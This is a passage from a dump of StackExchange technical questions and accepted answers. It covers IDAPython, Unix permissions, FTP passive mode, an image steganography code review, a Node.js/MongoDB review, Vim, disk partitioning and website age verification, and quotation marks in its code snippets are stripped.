_endea, _segname=.const, _unicode=False):        if (SegStart(_startea) == idc.BADADDR):            self.create_data_segment(_startea, _endea, .const)        else:            segtype = GetSegmentAttr(_startea, SEGATTR_TYPE)            if (segtype != IDAEngine.SEG_TYPE_DATA):                DelSeg(_startea, 0)                self.create_data_segment(_startea, _endea, _segname)        result = MakeStr(_startea, _endea)        if (result == IDAEngine.FAIL):            print [-] Failed to create a string at 0x{:x} to 0x{:x}..format(_startea, _endea)At this point, I believe the structure of the firmware is to blame (combination of bitness, lack of symbols and an obsolete but supported microprocessor), however I couldn't pinpoint the exact issue. For now, since I can use find_strings() to retrieve the offsets and then use MakeStr on strings with a certain length and the manually vetting the real strings. Final RemarksFor posterity, I never really solved the issue, however I can confirm the underlying binary file was responsible for raising an exception in get_ascii_contents2. I've reloaded the same file, however as a raw binary file in one large segment and the function worked flawlessly. "  , "title": "IDAPython Strings constantly returns NoneType with str()"  , "tags": "ida;idapython;idapro plugins"  , "accepted_answer": "This took some digging, however it appears you're hitting an interesting edge case that the original author of the scripts didn't consider.str(StringItem) calls the following code inside idautils.py;    def __str__(self):        return self._toseq(False)Which leads to _toseq in idautils.py;    def _toseq(self, as_unicode):        if self.is_2_bytes_encoding():            conv = idaapi.ACFOPT_UTF16            pyenc = utf-16        elif self.is_4_bytes_encoding():            conv = idaapi.ACFOPT_UTF8            pyenc = utf-8        else:            conv = idaapi.ACFOPT_ASCII            pyenc = 'ascii'        strbytes = idaapi.get_ascii_contents2(self.ea, self.length, self.type, conv)        return unicode(strbytes, pyenc, 'replace') if as_unicode else strbytesIf we dig into the get_ascii_contents2 inside py_bytes.hpp method we see that this method could actually return a NoneType if get_ascii_contents2 fails;if ( !get_ascii_contents2(ea, len, type, buf, len+1, &used_size, flags) ){  qfree(buf);  Py_RETURN_NONE;}Essentially, the code is fine, however you should add a check or exception handling if a str(StringItem) returns the with a TypeNone since it is possible for this type of value to be returned.You could help debug further by providing what the hex data is at ea of 0x208e with the length of 8 as shown in your output;208e: len=8 type=3 index=0->"  } 
{  "id": "_softwareengineering.247368"  , "question": "I develop quite often scripts that are primary used as a console application but later they are used in other scripts, webservices and other things where it is very convenient, to just import the script and call methods directly rather than using a Process and parsing stdout.The question is now, what is a good design strategy to develop such scripts? I have an example here in python:def main():   # do stuff   print(Found several results here:)   for foo in bar:       print(result: %s % foo)if __name__ == __main__():    main()this one could be easily rewritten to something like this:def main():   result = some_function()   print(Found several results here:)   for foo in result:       print(result: %s % foo)def some_function():   # do stuff   return barif __name__ == __main__():    main()But in most of my cases this is not so easy. But how to deal with this problem when the program does quite a lot of output, like different analyses or several steps or the return value of an API function would be something like a list of dict of list of tuples (or even more complicated structures)? Would it be good to encapsulate every step into a single method and run them one after another? What design patterns can be used to write good progamms that can be easily reused as APIs?"  , "title": "What is a good strategy to develop apps that run in console and as API?"  , "tags": "design patterns;code reuse"  , "accepted_answer": "If you are working on a script where you know (or suspect) that it will later be used as a library in a larger project, then it is easier to start out with writing the functionality in a library and then tagging on a driver script to use the library from the command line.There are no specific design patterns to help in creating good API's. It requires mostly a shift in thinking from a script that produces human readable output to a library whose output can be easily used by other software components. The biggest change there is that a library usually does not interact directly with the user."  } 
{  "id": "_unix.63284"  , "question": "Possible Duplicate:Cant rename a directory that I own I am trying to understand why when a dir X is owned by user A cannot rename it when parent dir of X is owned by user B. Can anyone please explain?$ls -l ~drwxr-xr-x 11 root root   4096 Jan 31 09:43 mymedia~/mymedia$ ls -ldrwxr-xr-x  6 rag rag  4096 Jan 31 08:34 Entertainment~/mymedia$ mv  Entertainment/ entertainmentmv: cannot move `Entertainment/' to `entertainment': Permission denied"  , "title": "why cannot rename subdir when parent dir owner is not the same user"  , "tags": "linux;permissions;files"  , "accepted_answer": "When you rename a file, you don't change the file, you change its parent directory. A file name is an entry in a directory. Think of phone directories, to change the name associated with a phone number in a directory, you need to modify the directory, not the phone line. The name is associated with the phone line only in that directory. That phone number may be in another directory under a different name (hard links).There's a caveat though for renaming directories as directories contain a reference to their parent (their .. entry). To be able to move a directory, it's not enough to have write permission to the old parent (to remove the entry) and the new parent (to add a new entry), you also need to have write permission to the directory itself to update the .. entry (if the old and new parent are different)."  } 
{  "id": "_softwareengineering.343197"  , "question": "Is it true that most of the times source code for Linux programs can be compiled into Mac OS programs and vice versa?"  , "title": "Is it true that Linux and Mac OS programs' source are interchangeable?"  , "tags": "compiler;linux;source code;mac"  } 
{  "id": "_unix.305182"  , "question": "I'm developing a JavaScript application which calls some bash scripts to change network settings. Restarting network interface takes too long (like 20 sec or more) on some networks:ifdown eth0; ifup eth0I wonder whether I need to always restart interface when I edit /etc/network/interfaces (change IP, netmask, gateway, set DHCP), /etc/resolv.conf (changes DNS), /etc/apt/apt.conf (proxy for apt).Also I think about restarting DHCP client in some situations (but not sure when this would be sufficient). Could you please shed light on this issue."  , "title": "Speed up ifdown / ifup"  , "tags": "debian;networking"  , "accepted_answer": "Most options can be changed dynamically using tools like ifconfig, route, ip, ndd, etc. so you might consider to use a different strategy: change options dynamically using other tools and save the options to the configuration file to be persistent.Changes to /etc/resolv.conf and /etc/apt/apt.conf are immediately in effect."  } 
{  "id": "_codereview.133962"  , "question": "The program can be used to hide an image within another image and later extract the hidden image. This is done by concealing the secret image within the lowest bits of the apparent image. Example of a cat hidden within a tree.I split it into 2 programs to make commandline args parsing easier, Crypt and Decrypt.Info.h//Info.h#pragma once#include <stdint.h>const int keySpace = 6;typedef uint16_t PTYPE;unsigned int bitMax(int bits) {    return (unsigned int)pow(2, bits) - 1;}Crypt.h//Crypt.h#include CImg.h#include Info.h#include <stdexcept>#include <bitset>#include <map>#include <sstream>using namespace cimg_library;using std::string;std::map<string, string> parseCMD(int argc, char *argv[]);template<typename T>void encrypt(CImg<T>& apparent, CImg<T>& secret, std::map<string, string> args) {    if (!apparent.containsXYZC(secret.width() - 1, secret.height() - 1, secret.depth() - 1, secret.spectrum() - 1)) { //Check that secret fits inside apparent.        throw std::invalid_argument(Secret is out of bounds of apparent.);    }    int bitDepth = std::stoi(args[bitdepth]) / apparent.spectrum();    int secretBitDepth = std::stoi(args[secretbitdepth]) / secret.spectrum();    apparent.normalize(0, bitMax(bitDepth));    secret.normalize(0, bitMax(secretBitDepth));    T secretMask = ~bitMax(secretBitDepth);    cimg_forXYZC(apparent, x, y, z, v) {        apparent.atXYZC(x, y, z, v) = (apparent.atXYZC(x, y, z, v) & secretMask) | secret.atXYZC(x, y, z, v); //Set apparent's *secretBitDepth* least significant bits to secret's value.     }}//Sets the R value of the first *keySpace* pixels of apparent to the binary value of the rotational key.template<typename T>void sign(CImg<T>& img, int key) {    if (key > bitMax(keySpace)) {        std::stringstream ss;        ss << Key is too large to fit into  << keySpace <<  bits.;        throw std::invalid_argument(ss.str());    }    std::bitset<keySpace> bitKey(key);    for (int i = 0; i < keySpace; i++) {        img.atXYZC(i, 0, 0, 0) = bitKey[i];    }}Crypt.cpp//Crypt.cpp#include Crypt.h#include <tclap/CmdLine.h>int main(int argc, char *argv[]) {    auto args = parseCMD(argc, argv);    CImg<PTYPE> secret(args[secret0].c_str());    CImg<PTYPE> apparent(args[apparent].c_str());    if (args[resize] == true) {        enum class Interpolation { NoneRawMem = -1, NoneBoundaryCondition, NearestNeighbour, MovingAverage, Linear, Grid, Cubic, Lanczos };        secret.resize(apparent, (int)Interpolation::NearestNeighbour);    }    encrypt<PTYPE>(apparent, secret, args);    if (args[signature] == true) {        sign(apparent, std::stoi(args[secretbitdepth]) / secret.spectrum());    }    apparent.save(args[output].c_str());    return 0;}//All argument parsing is done here and returned in an argMap<arg, value>.//For multiarguments, the number of the args is passed in argMap[<name>num] and they can be accessed via argMap[<name>0] ... argMap[<name>n]std::map<string, string> parseCMD(int argc, char *argv[]) {    try {        TCLAP::CmdLine cmd(An Image Steganography tool., ' ', 0.1);        std::map<string, string> argMap;        TCLAP::ValueArg<string> apparent(a, apparent, Apparent image to hide secret within., true, , string, cmd);        TCLAP::ValueArg<string> output(o, output, Output image., false, Hidden.png, string, cmd);        TCLAP::ValueArg<string> bitDepth(b, bitdepth, Resulting Color Bit Depth of output image., false, 8, integer, cmd);        TCLAP::ValueArg<string> secretBitDepth(z, secretbitdepth, How many bits each secret is going to take up., false, 8, integer, cmd);        TCLAP::MultiArg<string> secret(s, secret, Secret image(s) to hide into apparent., true, string, cmd);        TCLAP::SwitchArg resize(r, resize, Resize all secrets to apparent?, cmd, false);        TCLAP::SwitchArg signature(g, signature, Embed the rotational key inside the image?, cmd, false);        cmd.parse(argc, argv);        for (TCLAP::ArgListIterator it = cmd.getArgList().begin(); it != cmd.getArgList().end(); it++) {            TCLAP::ValueArg<string>* valArg = dynamic_cast<TCLAP::ValueArg<string>*>(*it);            TCLAP::SwitchArg* switchArg = dynamic_cast<TCLAP::SwitchArg*>(*it);            TCLAP::MultiArg<string>* multiArg = dynamic_cast<TCLAP::MultiArg<string>*>(*it);            if (valArg) {                argMap[(*it)->getName()] = valArg->getValue();            }            else if (switchArg) {                argMap[(*it)->getName()] = switchArg->getValue() == false ? false : true;            }            else if (multiArg) {                argMap[multiArg->getName() + num] = std::to_string(multiArg->getValue().size());                for (int i = 0; i < multiArg->getValue().size(); i++) {                    argMap[multiArg->getName() + std::to_string(i)] = multiArg->getValue()[i];                }            }        }        return argMap;    }    catch (TCLAP::ArgException &e) {        std::cerr << error:  << e.error() <<  for arg  << e.argId() << std::endl;    }}Decrypt.h//Decrypt.h#include CImg.h#include Info.h#include <map>#include <bitset>#include <vector>using namespace cimg_library;using std::string;std::map<string, string> parseCMD(int argc, char *argv[]);template<typename T>int getKey(CImg<T>& img) {    std::bitset<keySpace> bitKey;    for (int i = 0; i < keySpace; i++) {        bitKey[i] = img.atXYZC(i, 0, 0, 0);    }    return static_cast<int>(bitKey.to_ulong());}template<typename T>void rotateDecrypt(CImg<T>& img, int rotateKey) {    std::vector<int> bitDepths = {8, 24, 48};    T secretMask = bitMax(rotateKey);    cimg_forXYZC(img, x, y, z, v) {        img.atXYZC(x, y, z, v) &= secretMask;    }    img.normalize(0, bitMax(*std::upper_bound(bitDepths.begin(), bitDepths.end(), rotateKey)));}Decrypt.cpp//Decrypt.cpp#include Decrypt.h#include <tclap/CmdLine.h>int main(int argc, char *argv[]) {    auto args = parseCMD(argc, argv);    CImg<PTYPE> apparent(args[apparent].c_str());    int key = 0;    if (args[signature] == true) {        key = getKey(apparent);    }    else {        key = std::stoi(args[key]);    }    bool soleImage;    istringstream(args[soleimage]) >> std::boolalpha >> soleImage;    rotateDecrypt(apparent, key);    apparent.save(args[output].c_str());    return 0;}//All argument parsing is done here and returned in an argMap<arg, value>.std::map<string, string> parseCMD(int argc, char *argv[]) {    try {        TCLAP::CmdLine cmd(An Image Steganography tool., ' ', 0.1);        std::map<string, string> argMap;        TCLAP::ValueArg<string> output(o, output, Output image., false, unhidden.png, string, cmd);        TCLAP::ValueArg<string> key(k, key, Rotational key., false, 8, integer, cmd);        TCLAP::ValueArg<string> apparent(a, apparent, Input apparent encrypted image., false, 8, integer, cmd);        TCLAP::SwitchArg signature(s, signature, Embed the rotational key inside the image?, cmd, false);        cmd.parse(argc, argv);        for (TCLAP::ArgListIterator it = cmd.getArgList().begin(); it != cmd.getArgList().end(); it++) {            TCLAP::ValueArg<string>* valArg = dynamic_cast<TCLAP::ValueArg<string>*>(*it);            TCLAP::SwitchArg* switchArg = dynamic_cast<TCLAP::SwitchArg*>(*it);            if (valArg) {                argMap[(*it)->getName()] = valArg->getValue();            }            else if (switchArg) {                argMap[(*it)->getName()] = switchArg->getValue() == false ? false : true;            }        }        return argMap;    }    catch (TCLAP::ArgException &e) {        std::cerr << error:  << e.error() <<  for arg  << e.argId() << std::endl;    }}"  , "title": "Image Stenography using LSB technique"  , "tags": "c++;beginner;image;steganography"  , "accepted_answer": "Include all the headers you needInfo.h doesn't include required header for pow function (math.h)Use const references when you don't want to modify parameters to avoid unnecessary copyingencrypt function in Crypt.htemplate<typename T> void encrypt(CImg<T>& apparent, CImg<T>& secret, std::map<string, string> args)should betemplate<typename T> void encrypt(CImg<T>& apparent, CImg<T>& secret, std::map<string, string> const& args)Do the all the conversions you need before supplying parameters to functionsint bitDepth = std::stoi(args[bitdepth]) / apparent.spectrum();This is not good since args[bitdepth] can simply not convert into integer, you should've processed the arguments separately. The same holds for other arguments. This means you should rewrite parseCMD function or use some arguments parsing library."  } 
{  "id": "_unix.93566"  , "question": "I was practicing ftp but faced an issue: ls command isn't working on ftp> . Why? I checked on 2 remote servers but ls didn't work on either and gave different output when ls was executed. Please see below for the 2 remote boxes.The below shows my remote server where I installed vsftpd today.ravbholua@ravbholua-Aspire-5315:~$ ftp rsConnected to ravi.com.220 (vsFTPd 3.0.2)Name (rs:ravbholua): 331 Please specify the password.Password:230 Login successful.Remote system type is UNIX.Using binary mode to transfer files.ftp> pwd257 /home/ravbholuaftp> ls500 Illegal PORT command.ftp: bind: Address already in useftp> The below is for a different remote machine where I have to send some files. But as ls on ftp> isn't working, how will I transfer files from my local box to that box because I can't be confirmed without ls whether the files have been transferred or not.ravbholua@ravbholua-Aspire-5315:~$ ftp 125.21.153.140Connected to 125.21.153.140.220---------- Welcome to Pure-FTPd [TLS] ----------220-You are user number 1 of 10 allowed.220-Local time is now 04:34. Server port: 21.220-This server supports FXP transfers220 You will be disconnected after 2 minutes of inactivity.Name (125.21.153.140:ravbholua): peacenews331 User peacenews OK. Password requiredPassword:230 OK. Current restricted directory is /Remote system type is UNIX.Using binary mode to transfer files.ftp> ls200-FXP transfer: from 123.63.112.168 to 10.215.10.80200 PORT command successfulPlease note that for the above machine, once I ran ls on ftp>, the prompt didn't come back.On both the remote machines, I got different output when executed ls on ftp>"  , "title": "ls command in ftp> not working!"  , "tags": "vsftpd;pure ftpd"  , "accepted_answer": "FTP is an ancient protocol. It relies on two TCP connections: a control connection over which commands are exchanged, and data connections for the content of files and also for the output of commands such as ls. What's happening here is that the control connection is established, but the data connections aren't going through.By default (active mode), data connections are established from the sender to the receiver. For the output of ls, the data is sent by the server, so the server attempts to open a connection to the client. This worked well when FTP was invented, but nowadays, clients are often behind a firewall or NAT which may or may not support active FTP. Switch to passive mode, where the client always initiates the data connection.Check the manual of your ftp command to see how to switch to passive mode by default. For a one-time thing, typing the command passive usually does the trick.You may wish to switch to a nicer FTP client such as ncftp or lftp."  } 
{  "id": "_softwareengineering.258080"  , "question": "A project I'm involved in has suffered a change in scope, and before I set about trying to cook up some homegrown solution, I'm wondering if there is something out there -- some framework, for example -- that will spare me from having to design and debug my own code. Let me try to explain the details as simply as possible.Original projectThis is a data migration project, an ETL. Originally, there were multiple source databases, multiple ETL engines (allowing for failover), and 1 single data warehouse database. The data warehouse was going to keep the data from the individual sources straight, and it was going to be replicated, behind the scenes: meaning, my ETL would only have to worry about writing to the 1 data warehouse. I had a plan for that.The project's changeNow, the customer is worried about mixing the individual source data into a single data warehouse. They want separate data warehouses. This would be simple enough, but for the fact that they still want the ETL engines working per the original agreement. Let me explain that.The project's requirements (in a nutshell)Let's imagine the following:4 source databases4 ETL engines4 data warehouses (which may each be on a separate server)Given the above, the ETL engines should be able to work round-robin, a single ETL engine pulling from any of the 4 source databases and writing to the appropriate data warehouse. If 1 or more source databases goes down, or 1 or more ETL engines goes down, or 1 or more data warehouses goes down, the ETL process should still continue, merrily along, performing ETL where it can be done.My problemIf there were 1 data warehouse, I could coordinate this; if the ETL engines had only a single data source and data warehouse pair they were assigned to, I could handle this; but now things have gotten complicated. I'm really not up on the fancier frameworks -- or even, perhaps the concepts -- that handle something like this. Perhaps there is a name to a scenario like this (and it's a well-known problem), but I don't even know the name.Technologies usedNote: We already have a working prototype, delivered and tested by the customer, that performs the ETL on 1 source and 1 destination. Here is what we are using:Jython (Python, running on the JVM) for the ETLMicrosoft SQL Server for the source databasesMySQL for the data warehouse databasesMy question (again)Is there some kind of framework that coordinates a process like this, where the ETL engines can service all the source-destination pairs, provide failover, and yet won't be stepping on one another's toes, or is this something I have to code up myself.In closing, I hope the above is clear. If I can do anything to clarify the above, please ask. Thanks."  , "title": "Coordinating a complicated data migration process"  , "tags": "java;frameworks;concurrency;enterprise architecture;etl"  } 
{  "id": "_softwareengineering.313182"  , "question": "I am doing GUI tests for my network application and I'm wondering if I should stub out mock responses, or if it's OK to keep using the network for the GUI tests. It seems to me the main benefits of stubbing the responses are:SpeedRobustness - no false errors because of network problemsAnd the cons are:Server interaction (real world) - doesn't test thisTime to implement and maintain mock up (for a large application)Are the pros worth the cons? Are GUI tests about testing the actual application and if it runs for a real user connected to the server, or are they more similar to regular unit tests, but for the GUI - are they just trying to test the GUI and don't care about server interaction.EDITThis question specifically relates to GUI tests, not regular unit tests, and is questioning the value of stubbing mock responses in the GUI tests vs. using the server normally."  , "title": "GUI Testing With Network"  , "tags": "unit testing;testing;gui"  , "accepted_answer": "Unit tests are for testing your code, not real-world scenarios. Specifically, unit tests should validate that your code produces correct outputs for given inputs. Nothing more.Server latency and responsiveness are certainly worth testing, but not with unit tests. Those would be covered by system tests.The risk of relying on networking for unit tests is they may fail due to problems outside the scope of the unit of code being tested. If you have a CI server with automated unit testing (you should), your build might fail if e.g. MIS takes the remote server down for maintenance. That is a false negative: the failure indicates a problem in your code, when the problem is an unresponsive server."  } 
{  "id": "_webmaster.46845"  , "question": "I was just messing around with Google Sites and noticed that as soon as I made my site the homepage had a PR of 9 (before it crosses your mind all the links it makes are nofollow).The homepage of the test site I was playing around with is https://sites.google.com/site/samsnewsite030413/Why does this happen as PR is on a per-page basis, and as the page is brand new how does it have a PR? I've seen a similar thing happen with Github project pages; they seem to have a PR8 as soon as they are made, it's not like they are running off a standard URL with JavaScript bringing in the content - they seem to be static pages with their own URLs."  , "title": "New site has PR9 as soon as it is made, why/how?"  , "tags": "pagerank"  , "accepted_answer": "It's not PageRank of your home page but PageRank of https://sites.google.com.You can check PageRank of Github home page here and you will see PR8.This comes from HTTPS misunderstood. If you want the real PageRank of your page, check it with HTTP. I have checked it and your PageRank is N/A."  } 
{  "id": "_codereview.115857"  , "question": "Sorry, if you were looking for fresh baked pies, I only have a web client to help you sell them.I've recently picked up server-side JavaScript and have added it to my toolbox, and  while I've had a great time learning so far, I've got some code which needs another pair of eyes to review it.A quick objective summary: this code uses three big JS libraries: Node.js, Express, and Socket.io. For data storage, I've tied in MongoDB. What's going on is a simple back-and-forth communication between the server code (index.js) and the client code (not listed, I don't want that reviewed yet. If you really need it, I'll edit it in).For some background, especially if you're not familiar with this technology: with socket.io, there are two main methods: emit and on. Emit sends a packet, either direction. On receives data, from either direction too. With my code, I first listen for a connection, and then emit some data to the client, and then listen for a response. When a response is heard, the server sends data back in return.Index.js/*** Setup app details**/use strict;var express = require('express');var app = express();var http = require('http').Server(app);var io = require('socket.io')(http);var moment = require('moment');/*** Setup database details**/var mongodb = require('mongodb').MongoClient;var assert = require('assert');var objectID = require('mongodb').ObjectID;var url = 'mongodb://localhost:27017/pps';// Setup all public static files (Styles, scripts, images, etc.)app.use(express.static('public'));// Route the main page to index.htmlapp.get('/', function (req, res) {    res.sendFile(__dirname + '/index.html');});var COLLECTIONS = {};mongodb.connect(url, function (err, db) {    assert.equal(null, err);    COLLECTIONS = {        FLAVORS: db.collection('Flavors'),        UF_ORDERS: db.collection('UnfinishedOrders'),        F_ORDERS: db.collection('FinishedOrders')    };});/*** Socket.io Connection with event handling**/io.on('connection', function (socket) {    simpleEmit('flavors', COLLECTIONS.FLAVORS);    simpleEmit('orders', COLLECTIONS.UF_ORDERS);    simpleEmit('finished orders', COLLECTIONS.F_ORDERS);    mongodb.connect(url, function (err, db) {        assert.equal(null, err);        socket.on('add flavor', function (msg) {            insertFlavor(db, msg, function () {                simpleEmit('flavors', COLLECTIONS.FLAVORS);            });        });        socket.on('update flavor', function (msg) {            updateFlavor(db, msg, function () {                simpleEmit('flavors', COLLECTIONS.FLAVORS);            });        });        socket.on('delete flavor', function (msg) {            deleteFlavor(db, msg, function () {                simpleEmit('flavors', COLLECTIONS.FLAVORS);            });        });        socket.on('add order', function (msg) {            insertUnfinishedOrder(db, msg, function () {                simpleEmit('orders', COLLECTIONS.UF_ORDERS);            });        });        socket.on('finish order', function (data) {            getOrderDetails(db, 'UnfinishedOrders', data, function (data) {                insertFinishedOrder(db, data, function () {                    deleteUnfinishedOrder(db, data, function () {                        simpleEmit('orders', COLLECTIONS.UF_ORDERS);                        simpleEmit('finished orders', COLLECTIONS.F_ORDERS);                    });                });            });        });        socket.on('delete order', function (msg) {            deleteOrder(db, msg, function () {                simpleEmit('orders', COLLECTIONS.UF_ORDERS);            });        });    });});/*** Emit Call**/function simpleEmit(command, collection) {    mongodb.connect(url, function (err, db) {        assert.equal(null, err);        var data = [];        var cursor = collection.find();        cursor.each(function (err, doc) {            assert.equal(err, null);            if (doc !== null) {                data.push(doc);            } else {                //console.log('SENDING... ' + command, data)                io.emit(command, data);                db.close();            }        });    });}/*** Database Calls**/var insertFlavor = function (db, data, callback) {    db.collection('Flavors').insertOne({        flavor: data[0],        color: data[1]    }, function (err, result) {        assert.equal(err, null);        callback(result);    });};var getFlavors = function (db, callback) {    var data = [];    var cursor = db.collection('Flavors').find();    cursor.each(function (err, doc) {        assert.equal(err, null);        if (doc !== null) {            data.push(doc);        } else {            callback(data);        }    });};var updateFlavor = function (db, data, callback) {    db.collection('Flavors').updateOne(        { flavor: data[0] },        {            $set: { flavor: data[1] }        }, function (err) {            assert.equal(err, null);            callback();        });};var deleteFlavor = function (db, data, callback) {    db.collection('Flavors').deleteOne(        { flavor: data },        function (err) {            assert.equal(err, null);            callback();        });};var insertUnfinishedOrder = function (db, data, callback) {    db.collection('UnfinishedOrders').insertOne({        customer: data[0],        flavor: data[2],        date: data[1],        notes: data[3]    }, function (err, result) {        assert.equal(err, null);        callback(result);    });};var getUnfinishedOrders = function (db, callback) {    var data = [];    var cursor = db.collection('UnfinishedOrders').find();    cursor.each(function (err, doc) {        assert.equal(err, null);        if (doc !== null) {            data.push(doc);        } else {            callback(data);        }    });};var deleteOrder = function (db, data, callback) {    db.collection('UnfinishedOrders').deleteOne(        { _id: objectID(data) },        function (err) {            assert.equal(err, null);            callback();        });};var getOrderDetails = function (db, collection, data, callback) {    var cursor = db.collection(collection).find({_id: objectID(data[0])});    cursor.each(function (err, doc) {        assert.equal(err, null);        if (doc !== null) {            callback([doc, data[1]]);        }    });};var deleteUnfinishedOrder = function (db, data, callback) {    db.collection('UnfinishedOrders').deleteOne(        { _id: objectID(data[0]._id) },        function (err) {            assert.equal(err, null);            callback();        });};var insertFinishedOrder = function (db, data, callback) {    db.collection('FinishedOrders').insertOne({        customer: data[0].customer,        flavor: data[0].flavor,        date-finished: +moment(),        price: data[1]    }, function (err, result) {        assert.equal(err, null);        callback(result);    });};var getFinishedOrders = function (db, callback) {    var data = [];    var cursor = db.collection('FinishedOrders').find();    cursor.each(function (err, doc) {        assert.equal(err, null);        if (doc !== null) {            data.push(doc);        } else {            callback(data);        }    });};/*** Listen for the initial connection**/http.listen(3000, function () {    console.log('Node.js listening at http://localhost:3000/');});There are a few issues I have with this code...A lot is repeated. In an attempt to cut back on emit code, I made simpleEmit(). It works great. Any ideas on how I could do something similar to clean up the many on methods?Because almost every function requires the database, I had a lot of mongodb.connects at one point. I've cleaned them up mostly, but I'm wondering if I'm handling this connection correctly. I was forced to take out the close() method on mongodb. Will this hurt me? (This is what makes the title relevant!)Everything is in the global scope, should I change this? If so, in what way?Anything else goes!"  , "title": "Baking homemade pies has made me so many new connections"  , "tags": "javascript;node.js;express.js;socket.io"  , "accepted_answer": "Not entirely sure why you'd keep calling connect and close. As far as my DB knowledge goes, you open a connection once and keep it open. Here's an answer from StackOverflow regarding the issue. So I suggest that once you get the db object, you simply just pass it on. In this case, simpleEmit should be handed over the db object.I recommend that you use promises in your API. It appears that your mongo API already supports promises. You can simply reuse the db from the initial call. connect appears to return a promise.// Your only connect call which resolves to a db objectvar connectionPromise = mongodb.connect(url);// Hook your collection shorthandconnectionPromise.then(db => {  COLLECTIONS = {    FLAVORS: db.collection('Flavors'),    UF_ORDERS: db.collection('UnfinishedOrders'),    F_ORDERS: db.collection('FinishedOrders')  };});// Hook up your socket connections only when we connect to the dbconnectionPromise.then(db => {  io.on('connection', socket => {    /* socket listeners */  }});The db methods also appear to return promises. insertOne returns a Promise according to the docs.// Here's a sample of how a db operation call would look likefunction insertFinishedOrder(db, data, callback) {  return db.collection('FinishedOrders').insertOne({    customer: data[0].customer,    flavor: data[0].flavor,    date-finished: +moment(),    price: data[1]  });};// Here's an example of a caller with multiple calls one after the othersocket.on('finish order', function (data) {  getOrderDetails(db, 'UnfinishedOrders', data)    .then(data => insertFinishedOrder(db, data))    .then(data => deleteUnfinishedOrder(db, data))    .then(() => simpleEmit(db, 'finished orders', COLLECTIONS.F_ORDERS));});Now if you rewrote everything to take advantage of promises, notice how insertFinishedOrder and finish order is also simplified. insertFinishedOrder simply just returns a promise for finish order to consume. finish order takes advantage of promises to appear linear instead of nested.Now that we've started to consider promises, I notice that there are several functions that are not async like getFlavors. So that we can be consistent with the promise-returning api we have, wrap the operation in a promise. Also, each is deprecated. Use forEach.function getFlavors(db, callback) {  return new Promise((resolve, reject) => {    var data = [];    var cursor = db.collection('Flavors').find();    cursor.forEach(doc => (doc !== null) ? data.push(doc) : resolve(data););  });}Also suggesting to use a function declaration instead of function expressions. With function declarations, you take advantage of what they call hoisting, where in variable and function declarations are visible regardless of where they are placed. But it's also a best practice to put your functions together so you don't have to go out and hunt them."  } 
{  "id": "_vi.7842"  , "question": "I have some 30 characters in a line. When I press 80|, it should move 50 character to the right, thus move the cursor to 80th character. (30, 50, 80 are for examples)How to achieve this using mapping or commands?I tried    :nmap <Bar> a<Space>It doesn't work."  , "title": "Move to non-existing Nth column"  , "tags": "insert mode;normal mode"  , "accepted_answer": "You can use 'virtualedit' to allow moving to columns that don't contain text.  If you set virtualedit=all, then 80| will place the cursor on column 80.No spaces will be inserted until you actually perform some text editing there, though.  If your sole goal is to just extend the line to an arbitrary column, then a simple mapping taking advantage of 'virtualedit' can do that.nnoremap <Bar> <Bar>i <Esc>Or if you only want 'virtualedit' active for the mapping, something like:fun! ExpandLine(col)    let ve = &ve    set virtualedit=all    exe 'normal! '.a:col.'|i '    let &ve = veendfunnnoremap <silent> <Bar> :<C-u>call ExpandLine(v:count)<CR>"  } 
{  "id": "_unix.6927"  , "question": "I am creating a cloning script to automate a minimalistic installation of Cent OS 5.5 on about 100 workstations of various hardware and age (2-10 years).  The workstations are all either IDE or SATA.  I am currently developing the script and testing it on VMs (ESXi 4) with virtual IDE disks.  In the initrd I have commented out scsi_mod.ko, sd_mod.ko & scsi_transport_spi.ko, and it seems to work just fine for booting a VM that uses an IDE disk.  The problem is that I don't have easy access to the physical workstations and there are no virtual SATA disks for ESXi, so I cannot test with SATA disks.Are the above SCSI modules needed on a workstation that only has a SATA disk?   Are any SCSI modules needed for SATA disks (with a stock CentOS 5.5 kernel)?Thanks,Lars"  , "title": "Are any SCSI modules needed in initrd if only SATA and IDE disks are used?"  , "tags": "linux;sata;scsi"  } 
{  "id": "_unix.358797"  , "question": "I am not able to mount the partition created using sfdisk.I am able to see the partitions .I gave the following commandsmkfs.ext3 -q -m 0 -L data /dev/mmcblk0p3e2fsck -p  /dev/mmcblk0p3mkdir -p /mnt/data3mount -t  ext3 /dev/mmcblk0p3 /mnt/data3but i am getting the error like ~# mount -t ext3 -v /dev/mmcblk0p3 /mnt/data3EXT3-fs (mmcblk0p3): error: can't find ext3 filesystem on dev mmcblk0p3. mount: wrong fs type, bad option, bad superblock on /dev/mmcblk0p3,missing codepage or helper program, or other error   In some cases useful info is found in syslog - try   dmesg | tail or so.Anybody have any idea how to fix it???"  , "title": "Partition created using sfdisk is not mounting"  , "tags": "linux;partition;sfdisk"  } 
{  "id": "_cs.42827"  , "question": "Due to Tarski's result, it is well-known that the first-order theory of reals $(\\mathbb{R},+,\\cdot,<,=,0,1)$ is decidable. I am working on a paper where I need an extension of this result. More precisely, I would like to consider formulas that involve rational functions, rational coefficients, minima and maxima. Trigonometric functions or exponential functions, instead, are excluded.While this seems to me to be a straightforward consequence of Tarski's result (essentially, rewrite any formula with the above functions into one with polynomials only; e.g., rewrite $\\sqrt[2]{x}$ into $\\exists z (z^2 = x)$; for two polynomials $p$ and $q$, rewrite the formula $p / q \\leq 1$ into $p \\leq q$ and so on).To my surprise, I could not find any paper that formally establishes this. Before providing the proof on my own, I wanted to ask around whether someone is aware of a paper that establishes this result."  , "title": "Extension of Tarski's result on the decidability of reals"  , "tags": "decision problem;first order logic"  } 
{  "id": "_webmaster.43594"  , "question": "I am working on a website for a client that is requesting a way to verify your age.  I have debated on creating a cookie that stores your age but I am unsure on a few things.How does SEO play into this if I create a landing page prior to the physical address?Is there a better way to possibly go about doing this other than a cookie?Should I create a separate page or code it within the header of the index page?This is something similar I am trying to accomplish."  , "title": "Age verification in website"  , "tags": "seo;cookie;landing page;age verification"  , "accepted_answer": "With regard to SEO, the content of the site may not be accessible to crawlers unless you provide a means of distinguishing crawler traffic from human users.  You could parse the user agent string and allow traffic from search engine crawlers to bypass the age gate.  Ordinary users would not know how to exploit this to not have to verify their age, so I don't think this is an issue.  For Google, see http://support.google.com/webmasters/bin/answer.py?hl=en&answer=1061943.  Otherwise, if the crawler can access the page, there should not be a significant impact on SEO (but see below).With regard to how to store this information, doing it server-side requires a means of identifying the computer users are accessing the site with, so this isn't really an option.  The only other realistic choice is HTML5 Local Storage, which won't work with older browsers, so cookies are probably the best way to go.Coding the age gate into the header of the index will not work for other pages.  You could reference the code in every page of the site which must remain behind the age gate, which this would make it easier for crawlers to read the content, but you must remember to place the reference on every page on the site which 